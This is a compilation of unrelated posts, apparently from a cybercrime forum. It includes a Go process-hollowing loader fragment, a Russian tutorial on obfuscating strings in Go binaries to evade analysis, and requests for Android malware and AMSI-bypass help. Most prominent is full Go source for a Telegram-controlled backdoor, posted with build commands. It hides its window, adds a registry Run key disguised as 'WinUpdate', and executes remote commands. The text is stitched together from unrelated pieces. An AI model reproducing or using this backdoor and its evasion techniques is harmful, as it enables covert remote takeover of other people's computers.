thunkAddr := baseAddress + uintptr(importDescriptor.FirstThunk)
for {
err := windows.ReadProcessMemory(processHandle, thunkAddr, (*byte)(unsafe.Pointer(&thunk)), unsafe.Sizeof(thunk), nil)
if err != nil {
return fmt.Errorf("failed to read thunk data: %v", err)
}
if thunk.AddressOfData == 0 {
break // End of thunks
}
var funcAddr uintptr
if thunk.AddressOfData&0x8000000000000000 != 0 {
// Import by ordinal
ordinal := uint16(thunk.AddressOfData & 0xFFFF)
funcAddr, err = windows.GetProcAddressByOrdinal(dll, uintptr(ordinal))
} else {
// Import by name
importByNameAddr := baseAddress + uintptr(thunk.AddressOfData)
var importByName IMAGE_IMPORT_BY_NAME
err := windows.ReadProcessMemory(processHandle, importByNameAddr, (*byte)(unsafe.Pointer(&importByName)), unsafe.Sizeof(importByName), nil)
if err != nil {
return fmt.Errorf("failed to read import by name: %v", err)
}
funcName, err := readProcessMemoryString(processHandle, importByNameAddr+2) // Skip Hint
if err != nil {
return fmt.Errorf("failed to read function name: %v", err)
}
funcAddr, err = windows.GetProcAddress(dll, funcName)
}
if err != nil {
return fmt.Errorf("failed to get proc address: %v", err)
}
err = windows.WriteProcessMemory(processHandle, thunkAddr, (*byte)(unsafe.Pointer(&funcAddr)), unsafe.Sizeof(funcAddr), nil)
if err != nil {
return fmt.Errorf("failed to write function address: %v", err)
}
thunkAddr += unsafe.Sizeof(thunk)
}
importDescriptorAddr += unsafe.Sizeof(importDescriptor)
}
return nil
}
Spoiler: Error
[+] Starting RunPE process...
[+] DOS Header: Magic: 0x5A4D, NtHeaders Offset: 128
[+] Valid PE signature found at offset: 128
[+] File Header: Machine: 0x8664, NumberOfSections: 15, TimeDateStamp: 0
[+] Optional Header:
Magic: 0x020B
SizeOfCode: 2654208
SizeOfInitializedData: 260096
SizeOfUninitializedData: 0
AddressOfEntryPoint: 0x74340
ImageBase: 0x400000
SectionAlignment: 4096
FileAlignment: 512
SizeOfImage: 8785920
SizeOfHeaders: 1536
Subsystem: 3
Attempting to load DLL: 敫湲汥㈳搮汬
Attempting to load DLL: 敫湲汥㈳搮汬
In-memory execution failed: failed to resolve imports: failed to load DLL
敫湲汥㈳搮汬: The specified module could not be found.
What is the problem here?
Well this will be quick, I have been investigating, although I still don't
know very well, how I can apply licenses to my software, for example if I
wanted it to stop working after 1 month.
the question is does anyone know a good method to do this without depending on
the system date or internet connection, if it is like this or not, even so
leave your ideas or advice for whoever has done it before or knows how to do
it, thanks to all
**Автор:tenfield
Эксклюзивно для форума: **xss.is
Введение
Привет любителям Golang. Привет любителям Python. Сегодня поговорим о строках
в бинарнике Го.
Попробуем усложнить анализ бинарника. Напишем небольшой скрипт на питоне,
который можно вызывать перед сборкой. Проведем повторную сборку и анализ.
Содержание
- Go. Демо проект
- Анализ бинарника
- Схема работы обфускатора
- Пишем обфускатор на python
- Запуск обфускатора
- Go. Сборка проекта
- Повторный анализ бинарника
- Выводы
Go. Демо проект
Создадим папку project. Далее работать будем только в этой директории.
Создадим файл main.go в директории с демо проектом. Функция main состоит из
нескольких блоков
- Вызов функции со строковым аргументом
- Переменная со строкой
- массив строк
Каждый блок служит примером ситуации, в котором может потребоваться
использовать строки.
Rich (BB code):Copy to clipboard
// main.go
package test
import (
"fmt"
)
func greeting(name string) {
fmt.Println("Hello", name)
}
func main() {
greeting("XSS")
t := "This is Text"
fmt.Println(t)
arr := []string{
"arr_1",
"arr_2",
"arr_3",
}
fmt.Println(arr)
}
И для сборки проекта необходимо создать файл go.mod. Это файл указывающий минимальную версию golang и зависимости проекта.
Rich (BB code):Copy to clipboard
// go.mod
module test
go 1.23
Собирать будем через "go build . -o main"
параметр "." означает создать билд из файлов текущей директории.
параметр "-o main" означает выход в бинарный файл main.
Запускаем: "./main"
Вывод:
Hello XSS
This is Text
[arr_1 arr_2 arr_3]
Работает точно как ожидалось. Перейдем к анализу бинарного файла
Анализ бинарника
В linux окружении есть программа strings, которая выводит обнаруженные строки
из бинарного файла.
Запустим программу:
strings main
На тестовом примере обнаруживаем мусор, строки, пути к нашим .go, имена всех
функций, ... Стоп, что?
Первым делом гугл. Находим две библиотеки:
- https://github. com/burrowers/garble
Написана на Go. Развивается, но требует версию исходников Go 22 и выше
- https://github. com/unixpickle/gobfuscate
Последний commit 3 года назад
По указанным причинам не подходит ни один. Неприятно. Но если скрыть только строки, это не сложно сделать ~~дома~~ самостоятельно. И в результате размышлений появляется подобная схема работы:
Схема работы обфускатора
Если перед билдом скрыть строки, значит строк не будет после билда (c).
Исходник.go -> pre_build.py -> без_строк.go -> go build -> bin_без_строк
И желательно до обработки исходники оставались валидными. Удобно для теста.
Исходник.go -> go build -> bin_c_строками
Если хотим найти строки, сначала надо показать, где эти строки располагаются в текстовом файле. Поэтому, расставим маркеры: В исходниках Go обернем каждую строку в функцию-маркер hide_me.HideMe("Text").
Заглушка расшифровки на Go
Если вы пользуетесь IDE, то лучше сначала создать функцию-заглушку. Пока вы
будете проводить замену, заглушка позволит IDE подсказывать вам, вместо
подчеркивания ошибки несуществующего пакета.
И сразу вынесем код функции в отдельный пакет hide_me. Это позволит
импортировать код функции из других пакетов и проект находится в чистоте.
В рабочем проекте создаем папку hide_me и внутри файл hide_me.go
Временно создаем функцию-маркер-заглушку HideMe() которая просто вернет текст.
Rich (BB code):Copy to clipboard
// hide_me/hide_me.go
package hide_me
func HideMe(text string) string {
return text
}
Расшифровка строк на Go
Теперь нужно написать настоящую функцию, вместо функции-заглушки из предыдущей главы. Этот файл будет вставлен в файл hide_me/hide_me.go перед сборкой.
Функция собирает обратно строку из байтов. Эту функцию необходимо написать совместимо с ответной Python частью (функцией hide_arg())
Алгоритм может быть любой. Пример DES, chacha20, salsa, fernet. Для примера
XOR с фиксированным ключом.
И для примера получаем следующую функцию:
Выполняем операцию XOR для каждого байта из входного массива. Результат
приводим к строке и возвращаем
Rich (BB code):Copy to clipboard
// hide_me/hide_me.go // v 1.prod
package hide_me
const HideMe_key int = 15
func HideMe(data []byte]) string {
result := ""
for i := 0; i < len(data); i++ {
result += string(data ^ HideMe_key)
}
return result
}
Маркеры
Далее предстоит весьма длительная однообразная часть:
В каждом файле проекта заменяем строковые аргументы на результат вызова
функции hide_me.HideMe()
Пример: myFunc("Test") заменяем на myFunc(hide_me.HideMe("Test"))
На примере файла main.go
Rich (BB code):Copy to clipboard
// main.go
package main
import (
"fmt"
"main/hide_me"
)
func greeting(name string) {
fmt.Println(hide_me.HideMe("Hello"), name)
}
func main() {
t := hide_me.HideMe("This is Text")
fmt.Println(t)
arr := []string{
hide_me.HideMe("arr_1"),
hide_me.HideMe("arr_2"),
hide_me.HideMe("arr_3"),
}
fmt.Println(arr)
greeting(hide_me.HideMe("XSS"))
}
Теперь код проходит проверки IDE, типы сходятся, и появились маркеры для строк
(функция HideMe). Можем продолжить писать на Go, но теперь появилась
замечательная возможность скрыть строки перед сборкой. Сделайте build, все
должно работать как до изменений. Поздравляем, все позади.
Но, строки еще обнаруживаются через поиск в бинарном файле.
Пишем обфускатор на python
Вспоминаем о схеме работы. Этот скрипт скроет все строки в исходнике.
Модуль ast помогает Python приложениям обрабатывать Python деревья абстрактных
синтаксических грамматик.
Проще: Позволяет из python кода редактировать python/Golang/JS/C++/... код.
Попробуем использовать готовый AST. AST обрабатывает сложные конструкции с
учетом переносов, скобочек, запятых.
Нашел 2 библиотеки AST Go для Python:
- https://github.com/up9inc/gopygo 56 звезд. Последний commit 3 года назад
- https://github.com/itayg25/goastpy 3 звезды. Последний commit год назад
- goastpy прокси между python и нативным golang AST через C вызовы.
Прозвучало страшно, но на деле все просто.
Но это не заработало. Возможно виновата кроссплатформенность, или ошибка в
коде, или неправильный билд, или ...
- gopygo написан на чистом python. Работает на SLY (Sly Lex-Yacc), но
распарсил только первый элемент из блока команд.
Снова обе не прошли отбор. Будем писать поиск строк сами.
Напишем скрипт pre_build.py. Пусть рекурсивно обходит указанную папку. В
каждом файле с расширением '.go', заменяет аргумент у функции hide_me.HideMe.
Пример hide_me.HideMe("any_text") на hide_me.HideMe(<байты>). После этого шага
читать исходники станет трудно, но исходники остаются синтаксически
корректными.
Python:Copy to clipboard
import random
from pathlib import Path
def get_arg(line: str) -> str:
# yourFunc("test") -> test
obj = line.split('"')
assert len(obj) == 3, line
return obj[1]
def hide_arg(arg: str, xor_key: int) -> str:
# test -> []byte{1,2,3,4,5,6}
result = []
for i in arg:
result.append(str(ord(i) ^ xor_key))
return f'[]byte{{ {", ".join(result)} }}'
def hide_line(line: str, xor_key: int) -> str:
# greeting(hide_me.HideMe("XSS")) -> greeting(hide_me.HideMe([]byte{ 19, 24, 24 }))
if "hide_me.HideMe(" not in line:
return line
arg = get_arg(line)
return line.replace(
f'hide_me.HideMe("{arg}")',
f'hide_me.HideMe({hide_arg(arg, xor_key)})',
)
def hide_file(file: Path, xor_key: int):
# hide_line для всего файла
new_data = ""
with open(file, 'r') as f:
for line in f:
new_data += hide_line(line, xor_key)
with open(file, "w") as f:
f.write(new_data)
def hide_project(root: Path):
xor_key = random.randint(0, 254)
for file in root.glob('**/*.go'):
hide_file(file, xor_key)
# запишем инструкции по дешифровке строк
(root / "hide_me").mkdir(exist_ok=True, parents=True)
with open(root / "hide_me" / "hide_me.go", "w") as f:
f.write(f"""
package hide_me
const HideMe_key byte = {xor_key}
func HideMe(data []byte) string {{
result := ""
for i := 0; i < len(data); i++ {{
result += string(data[i] ^ HideMe_key)
}}
return result
}}
""")
if __name__ == "__main__":
hide_project(Path("."))
Функция hide_arg
Напомню код функции:
Python:Copy to clipboard
def hide_arg(arg: str, xor_key: int) -> str:
result = []
for i in arg:
result.append(str(ord(i) ^ xor_key))
return f'[]byte{{ {", ".join(result)} }}'
Важно! Эта функция должна быть совместима с hide_me.go
Функция состоит из двух частей. Преобразование очередного символа из строки с
помощью XOR и ключом xor_key. Вторая часть собирает строку из result (массива
строк)
Станет понятно на примере. input и output - строки,
input: test
output: []byte{1,2,3,4,5,6}
Функция get_arg
Python:Copy to clipboard
def get_arg(line: str) -> str:
# yourFunc("test") -> test
obj = line.split('"')
assert len(obj) == 3, line
return obj[1]
Для получения аргумента функции (строки), предлагается обойтись split вместо AST. Работает, если писать код и помнить как будет работать парсер.
Функция hide_line
Python:Copy to clipboard
def hide_line(line: str, xor_key: int) -> str:
if "hide_me.HideMe(" not in line:
return line
arg = get_arg(line)
return line.replace(
f'hide_me.HideMe("{arg}")',
f'hide_me.HideMe({hide_arg(arg, xor_key)})',
)
Функция принимающая одну строковую переменную line. line это строка из файла-
исходника. Производим замену в строке (переменная line) исходной строки
'HideMe("qwe")' на результат функции hide_arg (описанной
ранее), пример 'HideMe([]byte{1,2,3,....})'
Пример:
input: greeting(hide_me.HideMe("XSS"))
output: greeting(hide_me.HideMe([]byte{ 19, 24, 24 }))
Остальные функции
- hide_file
запускает hide_line для каждой строки в файле. перезаписывает файл
- hide_project
запускает hide_file для каждого файла из папки (рекурсивно) И записывает файл
hide_me/hide_me.go с заполненным xor_key и настоящей функцией HideMe
Запуск обфускатора
Внимание! Перед запуском pre_build.py следует копировать проект во временную
папку. Иначе потеряете исходники!
Запустим скрипт: python3 main.py
Секунду работает и завершается без ошибки. Посмотрим на новое содержимое
main.go файла после обфускации строк.
Rich (BB code):Copy to clipboard
package main
# main.go
import (
"fmt"
"main/hide_me"
)
func greeting(name string) {
fmt.Println(hide_me.HideMe([]byte{ 214, 251, 242, 242, 241 }), name)
}
func main() {
t := hide_me.HideMe([]byte{ 202, 246, 247, 237, 190, 247, 237, 190, 202, 251, 230, 234 })
fmt.Println(t)
arr := []string{
hide_me.HideMe([]byte{ 255, 236, 236, 193, 175 }),
hide_me.HideMe([]byte{ 255, 236, 236, 193, 172 }),
hide_me.HideMe([]byte{ 255, 236, 236, 193, 173 }),
}
fmt.Println(arr)
greeting(hide_me.HideMe([]byte{ 198, 205, 205 }))
}
Замечательно! В исходнике нет строк. Синтаксис правильный, код валидный. IDE не видит проблем. Не думаю что кто-либо захочет редактировать исходники после этого преобразования. Остался последний шаг: запустить сборку проекта.
Go. Сборка проекта
Собираем как раньше: "go build -o main ."
Запускаем: "./main"
И получаем вывод как до модификации проекта:
Hello XSS
This is Text
[arr_1 arr_2 arr_3]
Работает точно как в первый раз, с небольшим отличием: golang в runtime расшифровывает строки. Убедимся в этом в следующей части.
Повторный анализ бинарника
Запускаем поиск через strings как в первый раз. Но в этот раз поиск строк по
файлу дает пустой результат.
Кроме строк, в бинарнике находятся имена пакетов, файлов. Этим возможно займемся в следующих статьях.
Выводы
В билдах на Go нужно прятать строки, имена файлов, имена пакетов. Обфускацию
можно проводить перед сборкой проекта.
Современные системы сборки позволяют организовывать многоступенчатые сборки.
Воспользуйтесь этим. Или запускайте команды руками каждый раз.
Хотелось бы узнать, занимается ли кто автоматизацией действий в среде Windows?
Какие есть актуальные программы икакие возможные действия они могут
выполнять?
Если есть такие люди здесь на форуме, то могли бы посотрудничать. А так хотелось бы услышать мнение тех, кто работал с какими-либо подобными программами
Интересует что-то подобное по функционалу:
Делаю obj файл с экспортируемыми функциями:
C:Copy to clipboard
format MS COFF
Подключаю к проекту VS
Компилирую -> Cекция с таким именем:
Палево
Как изменить имя секции?
Нужно написать простенький парсер по езерскану.
Суть работы следующая: У меня имеется список адресов, среди всей массы этих
адресов мне нужно выделить те адреса - у которых в истории транз имеется нужна
мне транзакция. На скрине выделил какой столбец нужно парсить, к примеру мне
нужны все адреса которые имеют транзакцию "Execute"
Я прописываю этот самый "Execute" в качестве переменной для поиска и парсер
начинает в каждом адресе искать транзакцию с таким именем, если находит-
сохраняем этот адрес в блокнотик, если нет переходим к следующему адресу. Суть
думаю вы поняли.
Главный нюанс это скорость работы софта, хотелось бы добиться минимум 20-30
адресов в секунду и без прокси) такое реально?
Отказ от прокси обосновываю дороговизной чека, есть аналогичный софт у меня -
не успеваю пополнять балансы в прокси сервисах.
Возможно минуя etherscan эти данные можно вытащить с паблик нод...
Если у кого есть идеи по реализации и готов взяться за работу-прошу в пм
![filetransfer.io](/proxy.php?image=https%3A%2F%2Ffiletransfer.io%2Fdist%2Ffiletransfer- social- en.389488efe49681ac059b218c21161d72.png&hash=27d36b435e98dc48bfe907d477f79533&return_error=1)
package/tozr0KOQ#link)
Size of the data package: 5.26 GB. Free transfer of up to 6 GB of photos, videos and documents. Send large files via email or a link to share. No registration, no ads, just simple file sharing!
filetransfer.io
Title: The Art of 64-Bit Assembly, Volume 1: x86-64 Machine Organization
and Programming
Author(s): Randall Hyde
Publisher: No Starch Press
Year: 2021
Pages: 1032
ISBN:1718501080; 9781718501089
Линк на книгу: http://libgen.lc/edition.php?id=138900474
I want to be a malicious software developer on Android, I know that I have a long way ahead of me, I started with java and kotlin languages.
But I could not find a source on how to create exploit development and malware on Android. When it comes to windows, there are very clear and very good resources, but I think there is a lack of resources on Android.
I know that I should start with java and kotlin and then I am undecided about what to continue with, I respect all your answers, no matter positive or negative.
I would be really grateful if there is a resource you can offer me about Android malicious software development, thank you.
Представьте себе, что вы могли бы дать своей любимой игре для ПК более информативный дисплей или мгновенно собрать всю эту добычу из вашей последней эпической битвы. Принесите свои знания о разработке и управлении памятью на основе Windows, и Game Hacking научит вас тому, что вам нужно, чтобы стать настоящим игровым хакером. Изучите основы, такие как обратный инжиниринг, анализ ассемблерного кода, программные манипуляции с памятью и внедрение кода, а также отточите свои новые навыки с помощью практических примеров кода и отработки двоичных файлов.
Книга : https://mega.nz/file/ecJg1LpK#vExDb2950uPwnnjycCQ6O9WM2yE9QEgC-S1fgrvvGls
VT: https://www.virustotal.com/gui/file...0902c23c1e8773255d249f121b413479445/detection
Hello, here I leave you, an example of code from my backdoor written in golang, controlled by telegram, you need to have golang installed, preferably a recent version, then save this code as main.go for example, then install the dependencies using the following commands
go mod init main.go
go mod tidy
then to generate an executable from linux for windows use
GOOS=windows GOARCH=386 go build -ldflags "-s -w -H windowsgui" -o
backdoor.exe main.go
and in windows use
go build -ldflags "-s -w -H windowsgui" -o backdoor.exe main.go
The code is also compatible with Linux
Code:Copy to clipboard
package main
import (
"os"
"log"
"time"
"sync"
"runtime"
"strconv"
"os/exec"
"syscall"
"strings"
tele "gopkg.in/telebot.v3"
)
var (
thread = sync.WaitGroup{}
TOKEN = "YOUR_TELEGRAM_BOT_API_TOKEN"
)
func SetPersistence() {
defer thread.Done()
mype,_ := os.Executable()
per := exec.Command("cmd.exe", "/c", "reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \" /v WinUpdate /t REG_SZ /d \"" + mype + "\" /f")
per.CombinedOutput()
}
func ExecCmd(Cmd string, botSender tele.Context) string {
defer thread.Done()
cmd := exec.Command("cmd.exe", "/c", Cmd)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
output, err := cmd.CombinedOutput()
if err != nil {
botSender.Send(err.Error())
return ""
}
botSender.Send(string(output))
return ""
}
func GetHelp() string {
help := "/help show this\n"
help += "/exec execute any command\n"
help += "/cd change working dir\n"
help += "/pwd get current worling dir\n"
help += "/info get basic info\n"
help += "/pid get this process pid\n"
help += "/start start bot message\n"
return help
}
func Pwd() string {
pwd,_ := os.Getwd()
return pwd
}
func GetPid() string {
return "process pid: " + strconv.Itoa(os.Getpid())
}
func ChangeDir(Target string) string {
if err := os.Chdir(Target); err != nil {
if os.Chdir(strings.ReplaceAll(Target, " ", "")) != nil {
return "error to change dir to " + Target
} else {
return Pwd()
}
return "error to change dir to " + Target
}
return Pwd()
}
func GetInfo() string {
pwdc,_ := os.Getwd()
execf,_ := os.Executable()
core := strconv.Itoa(runtime.NumCPU())
plat := runtime.GOOS + "/" + runtime.GOARCH
info := "\nbasic info\n"
info += "\npwd : " + pwdc
info += "\npefile : " + execf
info += "\ncores : " + core
info += "\nplatform : " + plat
return info
}
func Setup() {
conf := tele.Settings{Token: TOKEN,Poller: &tele.LongPoller{Timeout: 10 * time.Second},}
bot, botErr := tele.NewBot(conf)
if botErr != nil {
log.Println(botErr.Error())
return
}
bot.Handle("/start", func(sender tele.Context) error {
return sender.Send("enjoy this access.. !")
})
bot.Handle("/exec", func(sender tele.Context) error {
thread.Add(1)
go ExecCmd(sender.Message().Payload, sender)
return nil
})
bot.Handle("/pwd", func(sender tele.Context) error {
return sender.Send(Pwd())
})
bot.Handle("/info", func(sender tele.Context) error {
return sender.Send(GetInfo())
})
bot.Handle("/cd", func(sender tele.Context) error {
return sender.Send(ChangeDir(sender.Message().Payload))
})
bot.Handle("/pid", func(sender tele.Context) error {
return sender.Send(GetPid())
})
bot.Handle("/help", func(sender tele.Context) error {
return sender.Send(GetHelp())
})
bot.Start()
}
func Loop() {
defer thread.Done()
thread.Add(1)
go SetPersistence()
for {
Setup()
time.Sleep(time.Second * 2)
}
}
func main() {
thread.Add(1)
go Loop()
thread.Wait()
}
Всем привет! Пытаюсь работать с макросами, возникли проблемы с amsi на этапе работы с com обьектами. Естественно понимаю, что рабочие решения по обходу, отключению являются приватными и никто не захочет просто так ими делиться, но может кто то намекнет в какую сторону копать! Спасибо!
В архиве два издания одной книги. В издании 2017 года приводятся сорцы на джаве, в издании 2021 года - на котлине.
You must have at least 1 reaction(s) to view the content.
Если кого интересуют эти издания в оригинале - пишите.
При помощи cheat engine, я открываю memory viewer в процессе с 1 игрой
Нужно по определнному адресу (7FFA7D738969), изменить hex значение с этого 0f
84 c2 00 00 00 8b 40 2c 8b c8, на это 0f 84 c2 00 00 00 b8 01 00 00 00
Менять значение нужно при загрузке игры, каждый раз искать вручную этот адрес
и руками менять значение не хочется, возможно ли сделать что-то вроде конфига
или программы, чтобы при активации сразу бы менялось значение на нужном
адресе?
Предисловие
Всем привет!
С вами Патрик.
Я достаточно долго вынашивал идею написания подобной статьи и наконец созрел. Вас никогда не смущало, что 90% малвари пишут на одних и тех же языках программирования? Понятно, что определенные языки лучше подходят под какие-то задачи, но ведь и задач в нашей сфере - огромное множество. Это и компьютерная малварь, и мобильные вирусы, и админ панели/боты/парсеры/сканеры. Да что уже говорить, по сути вообще все сферы разработки программного обеспечения можно рассматривать как с белой, так и с черной стороны и любому языку и скиллу можно найти применение.
Также не секрет, что я очень люблю изучать новые языки программирования (привет челленджу "12 языков за год"), самосовершенствоваться в целом и вообще адепт языково-ориентированного подхода к разработке ПО (гусары, ни слова про лисп).
Поэтому пришла мне в голову мысль - а что, если люди не пишут на языке Х просто потому, что не пробовали язык Х? Яркий пример тому - всем известный язык Nim, который отлично подошел для задач разработки вредоносного ПО.
Этой статьей я хотел бы начать серию небольших эссе, под общим названием "Маргинальные языки программирования". Эссе про языки, которые не входят в топ-10, языки на которых пишет не так много людей, но вместе с тем интересные языки, на которые я рекомендую обратить внимание и как минимум попробовать применить их в своей сфере деятельности.
В каждом из этих эссе я постараюсь подойти к анализу языка с максимально практичной точки зрения - рассмотреть не только теоретический аспект, но также его плюсы и минусы конкретно в нашей сфере, написать пару PoC (реверс шеллы/стиллеры/клипперы) и возможно побудить людей перестать наконец насиловать паблик сорцы одних и тех же старых инструментов и написать что-то новое.
Сразу уточню - статьи будут, что называется opinionated. Это субъективное мнение / оценочное суждение, основанное исключительно на моем опыте и бэкграунде. Если у вас в ходе прочтения появятся свои интересные мысли, вы будете в чем-то не согласны с автором или захотите что-либо дополнить - велкам в комментарии.
И начать я хотел бы с языка программирования V.
Поехали! Начнем с V!
Прежде чем мы окунемся в глубины языка V, давайте сначала погрузимся в его происхождение и узнаем, кто стоит за этим языком программирования и как он вообще появился (язык, не создатель).
История и Создатель
V - это детище Александра Медведникова и более чем 200 участников сообщества. Его идея была проста: создать язык, который сочетает в себе легкость использования, высокую производительность и надежность. Изначально V планировался как раз таки как DSL для Volt - кроссплатформенного и мультипротокольного мессенджера, а затем уже перерос в отдельный полноценный проект.
С момента своего выпуска V получил немало внимания и положительных отзывов, особенно среди тех, кто заботится о безопасности и быстродействии. Да да да, по сути дядюшка Раст передает всем большущий привет, потому что именно благодаря ему каждый первый современный язык в преимуществах указывает "скорость и безопасность".
Сразу уточню, что V - очень молодой язык программирования (первый релиз датирован 26 июня 2019 года), но при этом он активно развивается и в целом производит впечатление продуманного продукта, сделанного для людей.
Установка на Разных Платформах
Великолепно, теперь, когда мы знаем, что стоит за V, давайте перейдем к настройке вашей рабочей среды. Установка V на разных платформах - это быстрая и простая процедура. И это реально огромный плюс, потому что кому хочется пол дня возиться с разверткой рабочей среды. Мы тут чтобы кодить в конце концов, девопсить никто не подписывался.
Залетаем на сайт xttps://vlang.io и ставим компилятор по инструкции. Есть возможность поставить все с помощью установщика - поддерживаются Windows, macOS и различные дистрибутивы Linux. После загрузки установщика, следуйте инструкциям для вашей платформы. Обычно это сводится к нескольким простым шагам, и в течение нескольких минут вы будете готовы к программированию на V.
Также можно собрать все из сорцов, и это на секундочку тоже легко и просто - буквально в пару команд.
Bash:Copy to clipboard
git clone https://github.com/vlang/v
cd v
make
# HINT: Using Windows? run make.bat in a cmd shell, or ./make.bat in PowerShell
За развертку V получает твердые пять баллов, потому что разработчики позаботились о комфортной и безболезненной установке под все основные платформы (под основными платформами я подразумеваю MacOs/Linux/Win). Читатель, который хоть раз сталкивался с болью, когда компилятор языка не взлетает под виндой из коробки, поймет о чем речь.
Структура Кода в V
Теперь, когда V установлен, пришло время разобраться с его минималистичной структурой кода. V придерживается принципа "меньше - это лучше" и предлагает чистый и понятный синтаксис. Субъективно, синтаксис очень похож и возможно даже навеян Go, что также отмечают и многие участники сообщества - кто-то приходит в V из Go, кто-то использует V как плацдарм перед изучением Go.
Ваш первый V-программный файл будет выглядеть просто, как никогда. Вот пример программы "Hello, World!" на V:
Code:Copy to clipboard
module main
fn main() {
println("Hello, World!")
}
Вот и вся программа! Вам не нужны сложные заголовочные файлы или библиотеки.
Просто определите функцию main
, и в ней вызовите println
для вывода
текста. V позаботится об остальном.
Сразу отмечу отсутствие визуального мусора (во многих местах не нужны скобки, не нужны точки с запятой в конце строки), а также достаточно удобную фичу форматирования из коробки (команда v fmt ...).
Покажу как это собрать, а затем снова вернемся к синтаксическим особенностям и фичам.
Пишем Ваш Первый Проект на V
Начнем с чего-то классического - например напишем функцию для подсчета факториала на языке V.
1. Создайте Проект
В язык V встроен функционал для генерации проектов (сразу в формате git
репозитория). Есть два варианта - команды v new
и v init
.
Отличие в том, что первая создает директорию проекта, а вторая инициализирует
проект в уже существующей директории.
После выполнения любой из них, у вас появятся файлы v.mod (файл проекта, с
описанием, названием и зависимостями) и main.v (основной файл с нашим
исходным кодом).
2. Напишите Код
Откройте файл main.v
в любом текстовом редакторе и введите следующий код:
Code:Copy to clipboard
// Basic factorial
fn fact1(n int) int {
mut result := 1
for i := 0; i < n; i++ {
result *= (i + 1)
}
return result
}
// Recursive factorial
fn fact2 (n int) int {
if n <= 1 {
return 1
} else {
return n * fact2(n - 1)
}
}
// Recursive factorial with tail-call optimisation
fn fact3 (n int, result int) int {
if n <=1 {
return result
} else {
return fact3(n - 1, n * result)
}
}
fn main() {
println("Fact of 5: ${fact1(5)}")
println("Fact of 10: ${fact2(10)}")
println("Fact of 15: ${fact3(15, 1)}")
}
В этом коде мы определили функцию main
, которая является точкой входа в
программу, и три варианта подсчета факториала (императивный, классический
рекурсивный и рекурсивный с оптимизацией хвостовой рекурсии).
3. Сохраните и Запустите Программу
Сохраните файл main.v
. Теперь, чтобы выполнить программу, откройте командную
строку (терминал) и перейдите в каталог, где находится ваш проект
Для запуска программы просто введите следующую команду:
Bash:Copy to clipboard
v run .
Для компиляции соответственно, нам понадобится просто команда
Bash:Copy to clipboard
v .
Еще пара фич компилятора:
Bash:Copy to clipboard
# Production build
v -prod .
# ...cross compiled for Win
v -prod -os windows .
# ...without garbage collector
v -prod -os windows -gc none .
Последняя команда выдает нам бинарник размером 84kb, что сразу дает нам понять
А теперь сразу списком фичи, которые дадут вам возможность сразу перешагнуть этап быдлокода и начать работать с адекватными инструментами:
1) Тесты
Стандартизированы из коробки. Любой файл с постфиксом _test.v считается
тестом.
Пример для определенных выше функций факториалов:
Code:Copy to clipboard
module main
fn test_fact1_of_5() {
assert fact1(5) == 120
}
fn test_fact2_of_5() {
assert fact2(5) == 120
}
fn test_fact3_of_5() {
assert fact3(5, 1) == 120
}
Сохраняем все в файл main_test.v и запускаем командой v test .
Получаем выдачу:
Code:Copy to clipboard
---- Testing... ----------------------------------------------------------------
OK 1771.774 ms /users/patrick/v/test/src/main_test.v
--------------------------------------------------------------------------------
Summary for all V _test.v files : 1 passed, 1 total. Runtime: 1772 ms, on 1 job.
Что сразу недвойственно намекает нам, что test driven development здесь любят и от всей души рекомендуют рекомендуют. И это здорово.
2) Форматирование
Уже сказал про него чуть выше, выполняется командой v fmt src/main.v
Если добавить флаг -w, то команда сразу перезапишет исходный файл, вместо
вывода нового отформатированного в stdout.
Пример (я постарался отформатировать код максимально по-уродски):
ДО
Code:Copy to clipboard
fn format_me(a int) bool {
x:=1
if x>2 {return false} else {
return true}}
ПОСЛЕ
Code:Copy to clipboard
fn format_me(a int) bool {
x := 1
if x > 2 {
return false
} else {
return true
}
}
Не идеально (у меня по дефолту сделало отступ аж восемь пробелов), но согласитесь стало намного лучше.
3) Профайлер
Да да да, я в курсе, что джуны и многие мидлы не в курсе даже что это.
И это не их вина, просто во многих языках нет адекватных профайлеров, а в
учебниках не учат стадии рефакторинга от слова совсем.
Вкратце и простым языком, профайлер - такая штука, которая составляет как бы "профиль" вашей программы, и показывает какая функция как часто была вызвана и сколько времени на это потребовалось. Полезно это тем, что позволяет легко увидеть "тяжелые" функции и оптимизировать алгоритмы.
И в V таки завезли профайлер в стандартной поставке. Да, простенький, но он есть. Вызывается вот такой командой:
Bash:Copy to clipboard
v -profile profile.txt run .
Ну и достаточно очевидно, что в файле profile.txt читатель обнаружит аутпут и сможет быстренько понять где что ему оптимизировать.
4) Кросс компиляция
Я как человек, который видит винду только в виртуалках уже последние лет 10, всегда дико подгораю от софта с неудобной/невозможной кросс компиляцией (еще больше я подгораю от админок написанных под виндовые серваки, но статья не об этом).
В V как уже заметил вдумчивый читатель компилятор реализован в мета формате -
сначала код на V транскрибируется в код на C (или не на С, но об этом чуть
позже), а уже затем компилируется в нативный бинарник с помощью штатных
компиляторов (из коробки нам дают портативный tcc, но во флаге командной
строки без проблем можно передать gcc или clang и пробросить необходимые
флаги). В связи с этим и кросс компиляция реализована достаточно просто -
посредством MinGW.
Для любителей повиндовозить - msvc тоже все отлично собирает, я проверил.
За этот момент V тоже получает свои пять баллов, спасибо, удобно.
5) Бэкенды
Поскольку V не просто метаязык, а стильный модный молодежный мета язык, в него конечно же не могли не завезти поддержку различных бэкендов.
Из поддерживаемых целей компиляции на сегодня:
c (default)
go (транскрибирует в го и передает гошному компилятору)
interpret (режим интерпретатора)
js (под ноду)
js_browser (очевидно, под браузер)
js_node (тоже под ноду)
js_freestanding (js без жесткой привязки к рантайму)
native (напрямую собирает бинарник, без промежуточных языков. Экспериментальная фича)
wasm (ну и конечно васм, тоже экспериментально)
Выглядит внушительно, но на практике к сожалению все не так радужно, если вы
уже начали потирать ручки в предвкушении.
На практике у V есть основной бэкенд (сишный), который работает бодро и
стабильно. И есть все остальное, которое работает на хэллоуворлдах, но наотрез
отказывается собирать что-то более менее серьезное.
Ну и плюсом к этому добавляется вечная проблема мета языков - необходимость знать таргет платформу (типа учишь Clojure - будь добр еще Java выучи, она же под капотом). И если в связке v/c/go это еще имеет какой-то смысл, языки хотя бы по доменной области похожи, то при транскрибации в js получается лютый лапшекод, и ковыряться в попытках понять что же там не заводится нет никакого желания.
Итого что имеем - на бумаге много таргет платформ. На практике - собирай через Си и не выпендривайся. Надеюсь, допилят.
Синтаксис и интересные концепции
